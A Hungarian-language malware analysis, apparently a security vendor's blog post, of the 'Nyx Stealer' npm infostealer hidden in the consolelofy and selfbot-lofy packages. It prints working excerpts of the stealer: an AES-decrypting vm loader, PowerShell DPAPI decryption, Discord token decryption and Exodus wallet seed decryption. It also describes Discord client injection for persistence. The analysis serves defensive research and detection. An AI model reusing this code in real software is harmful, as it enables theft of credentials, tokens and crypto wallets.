TL, DR
A Xygeni biztonsági kutatócsoport Egy kifinomult npm információlopó kampányt azonosított, amelyet két rosszindulatú csomagon keresztül hajtottak végre: konzolos és a selfbot-lofy.
A legújabb verzió (consolelofy@1.3.0) beágyaz egy 216 KB-os AES titkosítású hasznos adatot, amely futásidejű dekódolást végez és végrehajtódik a következőn keresztül: vm.runInNewContext()Mivel a rosszindulatú logika teljes mértékben titkosított, a karakterlánc-vizsgálaton alapuló statikus szkennerek nem tudják megfigyelni a viselkedését a végrehajtás pillanatáig.
A visszafejtés után a hasznos adat, belsőleg márkázott Nyx Lopakodó, célok:
- Discord hitelesítési tokenek
- 50+ böngésző hitelesítőadat-tároló
- 90+ kriptovaluta tárca kiterjesztés
- Roblox, Instagram, Spotify, Steam, Telegram és TikTok szekciók
- Discord asztali kliens perzisztencia
Mindkét csomag mind a 20 verzióját jelentették, és megerősítették, hogy kártékonyak.
Az npm Infostealer technikai áttekintése
A hagyományos telepítési idejű rosszindulatú programokkal ellentétben ez a kampány egy futásidejű dekódolási modell.
Vannak:
- Nincs rosszindulatú
preinstallorpostinstallhooks - Nincsenek nyilvánvaló telepítési idejű hálózati hívások
- Nincs egyszerű szöveges hitelesítő adatok gyűjtésének logikája
A hasznos adat a modul importálásakor aktiválódik. A teljes rosszindulatú kód titkosítva van, és csak futásidőben jelenik meg a memóriában.
Ez a kialakítás kifejezetten elkerüli az észlelést a csomag telepítése során.
Hogyan működik ez az npm infostealer valójában?
Mielőtt elemeznénk, mit lop Nyx Stealer, meg kell értenünk hogyan hajtódik végre.
Az npm infostealerben található rosszindulatú logika következetes mintát követ:
Egy kis betöltő visszafejt egy nagyméretű titkosított hasznos adatot, és dinamikusan végrehajtja azt egy Node.js virtuális gép kontextusban.
Ez a tervezés szándékos. A támadó nem csak a ködösítés mögé rejti a funkcionalitást, hanem… a rosszindulatú kód teljes eltávolítása a statikus láthatóságból.
Magas szintű végrehajtási modell
Magas szinten a wrapper négy dolgot csinál:
- Egy fixen kódolt jelszóból származtat egy AES kulcsot SHA-256 használatával
- Dekódol egy nagyméretű, hexadecimálisan kódolt titkosított szöveget AES-256-CBC használatával.
- Végrehajtja a visszafejtett JavaScriptet a következő használatával:
vm.runInNewContext() - Egy olyan tesztkörnyezetet biztosít, amely továbbra is elérhetővé teszi az erőteljes futásidejű primitíveket
Alapvető technika összefoglalása
| Összetevő | Konfiguráció / Érték |
|---|---|
| Algoritmus | AES-256-CBC |
| Kulcs származtatás | SHA-256 (jelszó) |
| Inicializáló vektor (IV) | 16 bájt 0x00 |
| Végrehajtás | vm.runInNewContext(decrypted, sandbox) |
Kritikusan fontos, hogy a homokozó áthaladjon a következőkön:
requireprocessBuffer- időzítő
- modul exportálása
Ez azt jelenti, hogy a visszafejtett adat megtartja a következő képességeit:
- Spawn folyamatok
- Fájlok olvasása és írása
- Hálózati hívások kezdeményezése
- Helyi alkalmazások módosítása
Ez nem egy korlátozott virtuális gép. Egy végrehajtó trambulinként használt virtuális gép.
Futásidejű titkosítási minta (alapvető végrehajtási mechanizmus)
A töltő kicsi.
A rosszindulatú test nem az.
Az alábbiakban a csomagban található végrehajtási minta látható:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Miért ezt Matters
A visszafejtett hasznos adat:
- E nem létezik egyszerű szövegként az npm csomagon belül
- Láthatatlan az egyszerűek számára
grepvagy statikus karakterlánc-szkennelés - Csak futásidőben materializálódik a memóriában
- Teljes Node futásidejű képességekkel fut
Ez az AES + VM végrehajtási kombináció egy erős viselkedési mutatója egy Az npm infostealer megpróbálja elkerülni a statikus ellenőrzést.
Más szavakkal:
Ha átvizsgálod a csomag forrásfáját, nem látsz lopót.
Látsz egy dekódolót.
Mi történik a dekódolás után?
Végrehajtása után a Nyx Stealer párhuzamos adatgyűjtési hullámokat indít.
1. hullám: Böngésző hitelesítő adatok kinyerése
A rosszindulatú program:
- Python futtatókörnyezet letöltése a NuGet CDN-ből
- Kriptográfiai könyvtárak telepítése
- Kinyeri a króm alapú hitelesítőadat-tárolókat
- DPAPI által védett titkok visszafejtése
Natív kötések fordítása helyett a PowerShell segítségével közvetlenül hívja meg a Windows DPAPI-t.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ez a megközelítés:
- Kerüli a fordítási hibákat
- Natív Windows titkosítási API-kat használ
- Beépül az adminisztratív eszközökbe
Ez operációs rendszer szintű hitelesítő adatok visszafejtése, nem adatgyűjtés.
2. hullám: Discord Token dekódolás
A tolvaj protokoll-tudatos. Érti a Discord titkosított token formátumát.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Működési folyamat:
- Vegyél ki egy mesterkulcsot a Discordból
Local State - A főkulcs visszafejtése DPAPI-n keresztül
- AES-GCM tokenblobok visszafejtése
- Tokenek validálása a Discord API-n keresztül
- Bővítsd Nitro-val, jelvényekkel és számlázási információkkal
Ez nem általános hitelesítőadat-kidobás, hanem protokollérzékeny munkamenet-eltérítés.
3. hullám: Célzott kriptovaluta-tárca
Az npm infostealer felsorolja:
- 90+ böngésző pénztárca kiterjesztés
- 27 asztali pénztárca
- Hideg pénztárca útvonalak
- Exodus vetőmagfájlok
Példa a vetőmag visszafejtési kísérletére:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Siker esetén a tárca feltörése azonnali és visszafordíthatatlan.
Ez a kampány legmagasabb értékű bevételszerzési vektorát jelöli.
Kitartás Discord asztali injekcióval
A hitelesítő adatok begyűjtése után Nyx Stealer megpróbálja megőrizni a hitelesítő adatokat a helyi kód módosításával. Viszály ügyfél.
Cél:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Műveleti sorrend
Az információlopó a következő lépéseket hajtja végre:
- Leállítja a futó Discord folyamatokat
- Megkeresi a telepített Discord variánsokat (Stable, Canary, PTB)
- Felülírások
discord_desktop_core/index.js - Támadó által vezérelt webhook logikát injektál
- Újraindítja a Discordot
Ez biztosítja, hogy a jövőbeli Discord munkamenetek automatikusan friss hitelesítési tokeneket szivárogtassanak ki.
Fontos megjegyezni, hogy ez a megőrzés nem ütemezett feladatokon vagy beállításjegyzék-módosításokon alapul. Alkalmazásszintű kódmódosítást használ, ami egy rejtettebb megközelítés.
Még ha a rosszindulatú npm csomagot később eltávolítják is, a Discord kliens továbbra is veszélyben marad.
Technikai összehasonlítás: Legitim Selfbot vs. npm Infostealer
| Összetevő | Legális Könyvtár | Nyx npm Infostealer |
|---|---|---|
| Titkosítás | Egyik sem | Teljes AES titkosítású hasznos adat |
| Futásidejű virtuális gép | Nem szükséges | vm.runInNewContext végrehajtás |
| Hitelesítési adatok hozzáférése | Csak Discord API | Böngésző, pénztárcák, DPAPI |
| Külső letöltések | Nem | Python futásidejű program NuGet-en keresztül |
| Kitartás | Nem | Discord kliens injekció |
| Bevételszerzési | Botautomatizálás | Hitelesítő okmányok viszonteladása |
Már önmagában a titkosítási réteg is megkülönbözteti ezt a kampányt egy tipikus nyílt forráskódú elágazástól.
Egy legitim Discord selfbotnak nincs oka titkosítani a teljes kódbázisát, PowerShellt futtatni a DPAPI eléréséhez, külső futtatókörnyezeteket letölteni, vagy asztali alkalmazások belső működését módosítani. Amikor ezek a képességek egy olyan függőségen belül jelennek meg, amely azt állítja, hogy automatizálja a Discord interakciókat, az architektúrális eltérést lehetetlen figyelmen kívül hagyni.
Nyomozási szempontból ez az npm infostealer több rétegen is nyomokat hagy. A legmegbízhatóbb mutatók azonban nem a fixen kódolt URL-ek vagy a konkrét fájlelérési utak, mivel ezek verziók között változhatnak. Ehelyett a tartós jelek strukturálisak.
Csomagszinten a legerősebb vészjelzés a nagy titkosított adatmennyiség és a futásidejű dekódoló burkoló kombinációja, amely azonnal végrehajtódik a következőn keresztül: vm.runInNewContext()Bár a titkosítás önmagában nem eredendően rosszindulatú, az AES visszafejtés és az azt követő dinamikus virtuális gép végrehajtása egy Discord segédprogramcsomagon belül rendkívül anomáliás.
A gazdagép szintjén a gyanús minták közé tartozik a váratlan DPAPI visszafejtési tevékenység, a Node.js függőségi kontextusból induló folyamatok, valamint a helyi alkalmazásfájlok módosítása, amelyeket soha nem szabadna harmadik féltől származó könyvtáraknak módosítaniuk. Hasonlóképpen, a hálózati rétegen a fejlesztői függőség által kezdeményezett kimenő webhook stílusú kommunikáció egy másik jelentős anomáliát jelent.
Más szóval, az észlelési felület nem egyetlen mutatója a kompromittálódásnak. A titkosítás, a futásidejű végrehajtás, a hitelesítő adatokhoz való hozzáférés és a megmaradási viselkedés összefüggése az, ami feltárja a fenyegetést.
Észlelés és mérséklés a Xygeni segítségével
Ezt az npm információlopót azonosította Xygeni rosszindulatú programok korai figyelmeztetése (MEW) rétegzett viselkedési korreláción keresztül, nem pedig egyszerű aláírás-illesztésen.
Az ismert rosszindulatú karakterláncok keresése helyett az MEW a teljes forráskódfában strukturális anomáliákat elemez. Ebben az esetben az észlelés több jel konvergenciájából fakadt: egy beágyazott AES visszafejtési rutin a modul belépési pontjába, azonnali végrehajtás egy virtuális gép kontextusban, valamint egy egyértelmű képesség-szándék eltérés.
Fontos megjegyezni, hogy önmagukban ezek a jelek egyike sem bizonyítja a rosszindulatot. Együttesen elemezve azonban leleplezik a futásidejű viselkedés elrejtésére tett kísérletet. Ez a rétegzett megközelítés jelentősen csökkenti a téves riasztásokat, miközben azonosítja a nagy megbízhatóságú ellátási lánc fenyegetéseit.
Továbbá ez az eset jól szemlélteti, hogy miért nem elegendő a telepítési idejű ellenőrzés önmagában. A rosszindulatú logika nem az életciklus-szkriptekben található. Csak a modul betöltése után aktiválódik, és csak a memóriában történő visszafejtés után válik láthatóvá. Ezért a hatékony védelemhez titkosítás-tudatos elemzésre, viselkedési mintázat-felismerésre és a telepítési eseményeken túlmutató folyamatos függőség-figyelésre van szükség.
A rendszerleíró adatbázis eltávolítása reaktív. A futásidejű elemzés preventív.
Miért fontos ez az npm információlopó?
A Nyx Stealer az npm-alapú rosszindulatú programok strukturális evolúcióját képviseli.
Korábban számos rosszindulatú csomag látható telepítési idejű szkriptekre vagy nyilvánvaló hitelesítő adatok kiszűrésére használt végpontokra támaszkodott. Ezzel szemben ez a kampány titkosítja a hasznos adatot, a végrehajtást futásidejű környezetre halasztja, legitim operációs rendszer API-kat használ, és megbízható alkalmazásokon belül hoz létre perzisztenciát.
Következésképpen a támadónak nem kell kihasználnia magát az npm infrastruktúrát. Ehelyett a támadás sikeres, mivel a függőségek telepítése bizalmat feltételez. A fejlesztők feltételezik, hogy egy függvénykönyvtár importálása biztonságos művelet, különösen akkor, ha az egy népszerű eszköz valószínűsíthető elágazásaként jelenik meg.
Ahogy az ökoszisztémák folyamatosan növekednek és a forkok elszaporodnak, ez az implicit bizalmi határ egyre vonzóbb támadási felületté válik. Ezért a modern npm infostealerek elleni védekezéshez az architektúrai minták felismerése szükséges, a statikus karakterláncok keresése helyett.
Végső soron ez a kampány megerősít egy fontos tanulságot software supply chain securityA legveszélyesebb fenyegetések nem azok, amelyek első pillantásra rosszindulatúnak tűnnek, hanem azok, amelyek strukturálisan legitimnek tűnnek, amíg futásidőben fel nem fedik valódi viselkedésüket.




